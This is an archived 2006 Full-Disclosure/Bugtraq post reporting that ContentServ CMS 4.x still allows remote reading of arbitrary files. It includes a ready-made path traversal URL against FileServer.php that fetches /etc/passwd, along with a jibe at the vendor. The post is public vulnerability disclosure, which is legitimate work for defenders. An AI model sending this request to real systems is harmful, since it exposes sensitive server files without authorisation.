lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20061130171228.169870@gmx.net>
Date: Thu, 30 Nov 2006 18:12:28 +0100
From: capt.nem0@....de
To: full-disclosure-bounces@...ts.grok.org.uk
Cc: bugtraq@...urityfocus.com
Subject: contentserv 4.x


ContentServ again (still) features remote reading of arbitrary files
====================================================================


ContentServ is a cms and "cross media publishing" software.

Let me quote from their website:

"At ContentServ, there is always something happening. We continously enhance our products and services.[...]"

Ok.

Now for the real fun remember:
http://archives.neohapsis.com/archives/fulldisclosure/2005-09/0650.html


Still with me? Ok. Lets forget the sql injections for a moment, what if we try: 
http://somesite/contentserv/4.2/admin/FileServer.php?src=../../../../../etc/passwd

Ooops!


have fun!


ps.: alex...when will you EVER learn?!



-- 
Der GMX SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen! 
Ideal für Modem und ISDN: http://www.gmx.net/de/go/smartsurfer

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ